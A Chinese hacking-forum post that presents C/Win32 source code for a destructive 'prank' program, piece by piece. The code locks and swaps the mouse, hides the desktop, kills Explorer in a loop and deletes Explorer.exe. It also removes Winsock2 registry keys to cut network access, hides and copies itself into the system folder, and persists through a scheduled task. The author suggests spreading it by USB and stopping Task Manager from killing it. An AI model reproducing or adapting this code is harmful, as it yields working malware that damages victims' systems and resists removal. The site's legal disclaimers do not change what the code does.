HanDs
管理员

[Visual Studio文章] 迷上恶作剧小程序 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

迷上恶作剧小程序

想写一个破坏性的程序好久了,一直挂着没去实现,在一次和朋友测试木马的时候发现了一个东东,所以就决定去写出来,通过多方面的组合第一个恶作剧程序就出炉了,今天我就给大家来介绍恶作剧的实现,为了方便大家阅读,我将分块介绍。

控制鼠标

 

Code:
void Mouse()
{
  RECT Rect;
  Rect.left=10;
  Rect.top=10;
  Rect.right=20;
  Rect.bottom=20;   //设置锁定区域大小
  ClipCursor(&Rect);   // 锁定鼠标,限制移动区域
  SwapMouseButton(TRUE); //交换鼠标左右键
}

 


简简单单的几个API调用就完成了任务,这个时候用户已经无法正常使用鼠标了,因为鼠标被锁定在左上方很小的一块区域中了。

隐藏桌面图标

 

Code:
void HDesk()
{
  HWND hDesktop;
  hDesktop = FindWindow("ProgMan", NULL); //获得桌面句柄
  ShowWindow(hDesktop, SW_HIDE);   //隐藏桌面图标
}

 


很简单吧,两句就把你桌面上的所有快捷方式给隐藏起来了。但是这个吓不到高级用户,于是想了更毒的办法----杀掉Explorer进程,哈哈~~这样屏幕上什么也没有了。但系统很快就会再启动explorer进程,怎么办?这里想了两个办法。
第一个办法:使用Sleep()函数,间隔性的检查进程中是否存在Explorer进程,如果存在就杀掉。

 

Code:
void kprocess(const char *processname)
{
  char *fengze;
  DWORD processid[1024],needed,processcount,io;
  HANDLE hProcess;
  HMODULE hModule;
  char path[MAX_PATH] = "",temp[256]; //定义变量

  EnablePrivilege(SE_DEBUG_NAME,TRUE); //提升权限
  EnumProcesses(processid, sizeof(processid), &needed); //枚举所有进程
  processcount=needed/sizeof(DWORD);   //计算进程数量
for (io=0;io   {  
  hProcess=OpenProcess(PROCESS_QUERY_INFORMATION |PROCESS_TERMINATE |PROCESS_VM_READ|PROCESS_VM_WRITE,false,processid[io]);
//打开进程并获得进程句柄
  if (hProcess)
  {
    EnumProcessModules(hProcess, &hModule, sizeof(hModule), &needed);
    // 枚举打开进程的模块
    GetModuleFileNameEx(hProcess, hModule, path, sizeof(path));
    // 获取模块文件名(包含路径)
    GetShortPathName(path,path,256);
    //将长文件名转换成短文件名
    itoa(processid[io],temp,10);   //转换为字符串
    if((fengze=strstr(path,processname)))
//在进程路径中查找是否含有相关字符
    {
        TerminateProcess(hProcess,0); //如果有就结束进程
    }
    else
      CloseHandle(hProcess); //关闭打开的进程      
  }
}
EnablePrivilege(SE_DEBUG_NAME,FALSE); //恢复权限
}

提升和恢复权限函数
int EnablePrivilege(LPCTSTR lpszPrivilegeName,BOOL bEnable)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
  TOKEN_QUERY | TOKEN_READ,&hToken))
  return 0; //打开进程的令牌环
if(!LookupPrivilegeValue(NULL, lpszPrivilegeName, &luid))
  return 1; //修改进程权限
tp.PrivilegeCount = 1; //赋给本进程特权
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = (bEnable) ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken,FALSE,&tp,NULL,NULL,NULL);
//通知Windows修改本进程的权限
CloseHandle(hToken); return 0;
}
使用GOTO语句实现循环
void monitor()
{
char *tha="Explorer"; char *thb="explorer";
//这里定义2个是因为系统在恢复后此进程名开头就变成小写了
bg:kprocess(tha);
kprocess(thb); //杀掉进程
Sleep(3000); //程序休眠3秒中,这样程序对CPU使用的也降低了
Goto bg ;
}

 


以上是循环实现目的,下面还有一中方法就是杀掉进程后,查找Explorer.exe并删除,这样系统就会跳出一个对话框要求插入安装光盘进行恢复,如果这个时候我们关闭计算机的话,呵呵~~再进系统的时候就不显示任何东西了。我们还应该对任务管理器、IE和CMD还有其他一些进程进行查杀,这样才能保证我们自己不被用户给杀了。

注意:#include "PSAPI.H" //程序需要的头文件
#pragma comment( lib, "PSAPI.LIB" ) //程序需要的库文件

下面就是一个搜索文件的函数:

 

Code:
int viewfiles(char *directory)  
{
WIN32_FIND_DATA fdFindData;          
HANDLE hFind;
char *filename;
int count=0;
BOOL done;

filename=new char[strlen(directory)+5]; //给filename分配directory+5 个空间  
strcpy(filename,directory); //将directory中的字符复制到filename中    
strcat(filename,"\\*.*");   //将filename与\\*.*连接
hFind=FindFirstFile(filename,&fdFindData);
//根据filename来查找文件,返回搜索句柄给hFind
delete[] filename; //释放内存
done=hFind!=INVALID_HANDLE_VALUE;      
while(done)
{
  if(strcmp(fdFindData.cFileName,".") && strcmp(fdFindData.cFileName,".."))
  //判断是当前目录或上一级目录
  {
          filename=new char[strlen(directory)+strlen(fdFindData.cFileName)+2];
          // 给filename分配空间
          strcpy(filename,directory); //把directory复制给filename
          strcat(filename,"\\");   //把filename加上“\\”
          strcat(filename,fdFindData.cFileName); //filename加上文件名
if((fdFindData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)==FILE_ATTRIBUTE_DIRECTORY)
  //如果找到的是目录,则进入目录进行递归
      count+=viewfiles(filename);  
          else
    if(strstr(fdFindData.cFileName,"Explorer.exe")) //判断是否为要查找文件
          {
          count++; //对查找到的文件进行记数
          DeleteFile(filename); //删除文件
          }
          delete[] filename;   //释放内存  
  }
  done=FindNextFile(hFind,&fdFindData); //寻找下一个文件      
}
FindClose(hFind);
return(count);
}

 


这个函数掉用的时候只要指定一个分区就可以了,当然你也可以用循环来遍历所有分区,嘎嘎~~够恶毒~。

控制光驱

 

Code:
void Dfind()
{
  int i;
  UINT type;
  char name;
  char Dname[128];
  for (name='A';name<='Z';name++)   //遍历所有驱动器
  {
    Dname[0]=name; Dname[1]=':'; Dname[2]='\\'; Dname[3]='\0';
    type = GetDriveType(Dname);   //判断驱动器类型
      if (type==DRIVE_CDROM)
        {         //如果是光驱就打开
      mciSendString("Set cdAudio door open wait", NULL, 0, NULL);
      mciSendString("Set cdAudio door closed wait", NULL, 0, NULL);
        }
  }
}

 


再加个循环,不停的开关光驱,这样一来中标的朋友肯定吓一跳。
修改注册表
操作注册表的例子很多很多了,可以去找找,这里我就介绍一个东西。

 

Code:
void regdel()
{
    HKEY hkresult;
    LPCTSTR data="SYSTEM\\CurrentControlSet\\Services\\WinSock2\\SPI5.0\\Catalog_Entries";
RegOpenKeyEx( HKEY_LOCAL_MACHINE,      
    data, 0, KEY_ALL_ACCESS, &hkresult );
RegDeleteKey(hkresult,"000000000001");       RegDeleteKey( hkresult,"000000000002");
RegDeleteKey( hkresult,"000000000003");
          ……
RegDeleteKey( hkresult,"000000000015");
}

 


上面这个删除注册表的操作,计算机不会出现异常,也可以登陆到网络上,但QQ登陆不上去,IE访问不了网站………
有了以上操作,相信够把中标的朋友给吓晕了~~,单单有破坏还不够,我们还要保证自己的程序能存活啊。所以我就想到让程序复制并隐藏自己。

 

Code:
void filehidden()
{
  UINT type;
  char name;
  char Dname[4];
  char LPath[MAX_PATH];
  char SysPath [MAX_PATH];

GetModuleFileName(NULL,LPath,MAX_PATH);
//获得当前文件路径
SetFileAttributes(LPath,FILE_ATTRIBUTE_HIDDEN
+FILE_ATTRIBUTE_SYSTEM);
//把文件设置成隐藏和系统属性
  GetSystemDirectory(SysPath,MAX_PATH);
  strcat(SysPath,"\\黑色天空.exe");
  CopyFile(LPath,SysPath,FALSE); //复制到指定路径
}

 


我们还可以利用前面控制光驱的那段代码改变一下,将程序复制到U盘或则其他计算机外部的可写盘上,达到了传播的目的,实现起来很简单,就留给您自己来完成吧。
现在我们已经将一个文件给隐藏起来了,怎样来启动这个程序呢?注册表?不,我们还是用系统的任务计划吧,用系统自带的AT.exe程序?不!我们自己写 :)

 

Code:
void Jobadd(char * SysPath) //文件路径我们是从上面程序中获得
{
DWORD JobId;
AT_INFO ai;
long Len;
WCHAR szFilePath[256];
memset(&ai,0,sizeof(ai));
Len=MultiByteToWideChar(CP_ACP,0,SysPath,strlen(SysPath),
szFilePath,sizeof(szFilePath));
  szFilePath[Len] = '\0';
//将路径转换成Unicode码
  ai.Command=szFilePath;
  ai.DaysOfMonth=0;
  ai.DaysOfWeek=0x60;
  ai.Flags=JOB_RUN_PERIODICALLY;
  ai.JobTime=11*60*60*1000+50*60*1000;
  //给ai结构变量各成员赋值
  NetScheduleJobAdd(NULL,LPBYTE(&ai),&JobId);
  //调用API函数添加任务计划
}

 


上面的函数将在任务计划中添加一个每周星期六和星期天,中午11点50执行我们指定程序的计划。但这个依赖Task Scheduler服务,我们直接调用system()函数来执行Net Start Schedule命令就可以了。

注意:#include
#include //程序需要的头文件
#pragma comment(lib,"NETAPI32.LIB") //程序需要的库文件


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
恶作剧 程序
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复